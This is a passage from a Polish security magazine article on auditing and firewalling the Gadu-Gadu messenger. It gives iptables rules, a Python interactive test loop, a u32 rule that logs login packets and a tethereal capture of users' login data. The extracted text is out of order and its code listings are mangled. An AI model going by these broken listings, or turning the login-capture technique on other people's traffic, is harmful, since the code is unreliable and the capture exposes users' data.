winny  być  poważnie  traktowane  w  kwe-
stiach  bezpieczeństwa  przez  ich  dostaw-
ców. Dodatkowo, ważne, aby zwrócić na nie 
baczniejszą  uwagę,  ponieważ  widać  obec-
nie  trend  zmierzający  do  tworzenia  wersji 
komunikatorów  dla  biznesu,  zintegrowa-
nych często z pakietem biurowym. Myślę, że 
pokazaliśmy nie tylko, na ile niebezpieczna 
może być taka niepozorna aplikacja, ale też, 
od których jej miejsc warto rozpocząć prze-
prowadzanie audytu. Również jak łatwo jest 
napisać proste narzędzia, korzystając z dar-
mowego  systemu  oraz  interpretera,  testu-
jące  poziom  realnego  zagrożenia  podatno-
ści  konkretnego  komunikatora.  Platforma 
Linux oraz język Python dają nam świetne 
możliwości w testowaniu protokołu aplika-
cji. Można w łatwy sposób pisać proste, ale 
działające skrypty, z którymi będzie możli-
wość  pracy  interaktywnej,  np.  za  pomocą 
funkcji 

input

 w procedurze głównej skryp-

tu możemy tworzyć obiekty i wywoływać 
ich metody w sposób podobny jak w powło-
ce. Przykład takiej procedury znajduje się na 
Listingu 6. W ten sposób napisana procedu-
ra główna umożliwia nam ręczne tworzenie 
połączenia z serwerem i ręczne wywoływa-
nie jego metod 

recv

 oraz 

send

Listing 5. 

Regułki IPTables pozwalające na korzystanie z określonych usług

iptables

 –A 

FORWARD

 –o ppp0 –j 

ACCEPT

 –m state –-state 

NEW

 –p tcp

S

 

   – mport –-dst-port 80,443,110,25,8074

iptables

 –A 

OUTPUT

 –o ppp0 –j 

ACCEPT

 –m state –-state 

NEW

 –p tcp

S

 

   – mport –-dst-port 80,443,110,25,8074

iptables

 –A 

FORWARD

 –o ppp0 –j

 ACCEPT

 –m state –-state 

NEW

 –p udp

S

 

   – mport –-dst-port 53

iptables

 –A 

OUTPUT

 –o ppp0 –j 

ACCEPT

 –m state –-state 

NEW

 –p udp

S

 

   – mport –-dst-port 53

Listing 6. 

Przykład “procedury main” 

umożliwiającej interaktywną pracę

#!/usr/bin/python

...

if

 

__name__

==

"__main__"

:

 

while

 

1

:

  

try

:

   

line

 

=

 

input

(

"? "

)

  

except

:

   

print

 “

Error

!

 

sys

.

exit

(

0

)

217.17.46.255  oraz  217.17.45.128-217.17.45.
159. Na początku program próbuje wysy-
łać  pakiety  na  port  8074.  W  przypad-
ku, gdy nie może utworzyć na nim połą-
czenia,  próbuje  łączyć  się  na  port  443. 
Serwery przetwarzają otrzymane komuni-
katy i przesyłają je do wybranych odbior-
ców.  Podczas  logowania  do  serwerów, 
klient  przekazuje  informacje,  na  którym 
porcie oczekuje na połączenia bezpośred-
nie DCC. Połączenia bezpośrednie umoż-
liwiają użytkownikom przesyłanie plików 
i prowadzenie rozmów głosowych.

Bardzo  często  administratorzy  dużych 

sieci stają przed problemem, na jakim kom-
puterze  jest  zainstalowany  komunikator. 
Dodając  prostą  regułę,  nasz  filtr  pakietów 
będzie  logował  wszystkie  próby  autory-
zacji  do  serwerów  Gadu-Gadu  z  kompu-
terów  naszej  sieci  lokalnej.  Skorzysta  ona 
z modułu u32, który daje możliwość porów-
nania dowolnych 4 bajtów pakietu (jest on 
dostępny po instalacji łatki Netfiltera z sys-
temu  Patch-O-Matic).  Odpowiednie  reguł-
ki znajdują się na Listingu 4. Wyszukujemy 
przy  ich  pomocy  połączeń  do  serwerów 
komunikacyjnych  Gadu-Gadu.  Interesują 
nas  tylko  początkowe  4  bajty  pierwszego 
pakietu takiego połączenia. W argumencie 
modułu  u32  sprawdzamy,  czy  pierwsze  4 
bajty  ciała  pakietu  są  równe  0x15000000. 
Liczba  ta  wskazuje  na  to,  że  przesyłanym 
pakietem  jest  komunikat  logujący  użyt-
kownika  do  serwera  Gadu-Gadu.  W  celu 
uzyskania  dodatkowych  informacji  (np. 
numeru  użytkownika,  adresu  i  numeru 
portu) musimy skorzystać ze sniffera siecio-
wego, np. Tethereal

tethereal –i any ….. 

–w gg_login_packets.dump

. Takie wywoła-

nie programu pozwoli zapisywać w pliku 
gg_login_packets.dump  wszystkie  pakiety 
z informacją przesyłaną przez użytkowni-
ków do serwerów komunikacyjnych pod-
czas procesu logowania. Oprócz informa-
cji  o  numerze  użytkownika,  do  serwera 
przesyłana  jest  także  informacja  o  nume-
rze wersji programu.

chcieliśmy  pokazać,  jak  łatwo  jest  popeł-
niać błędy, jeśli sami projektujemy proto-
kół i jak łatwo z punktu widzenia atakują-
cego jest je wykorzystywać.

Sposoby zabezpieczania się

Najczęściej  spotykanym  sposobem  ochro-
ny  naszej  sieci  przed  atakami  z  Internetu 
jest  instalacja  zapory  sieciowej  opartej  na 
systemie operacyjnym Linux. Dzięki zasto-
sowaniu  filtru  pakietów  na  tym  urządze-
niu możemy określić, do jakich usług inter-
netowych  nasi  lokali  użytkownicy  będą 
mieli dostęp. Firewall ten zabezpieczy rów-
nież naszą sieć lokalną przed połączeniami 
nawiązywanymi  z  sieci  Internet.  Przykład 
standardowej  konfiguracji  filtra  pakietów 
IPtables znajduje się na Listingu 3.

Aby  móc  stworzyć  skuteczny  system 

ochrony  naszej  sieci  lokalnej  przed  ata-
kami,  musimy  poznać  podstawy  proto-
kołu  Gadu-Gadu  (jest  on  dobrze  opisany 
na  stronach  Eksperymentalnego  Klienta 
Gadu-Gadu -- http://dev.null.pl/ekg). Każdy 
pakiet składa się z dwóch części: nagłów-
ka  i  ciała  komunikatu.  8-bajtowy  nagłó-
wek  informuje  o  rodzaju  pakietu,  który 
jest  przesyłany  i  długości  ciała  komuni-
katu.  Pakiety  sterujące  oraz  komunikaty 
z  wiadomościami  i  obrazkami  są  przesy-
łane  przez  program  do  serwerów  komu-
nikacyjnych.  Serwery  te  posiadają  adresy 
IP 217.17.41.80-217.17.41.95, 217.17.46.248-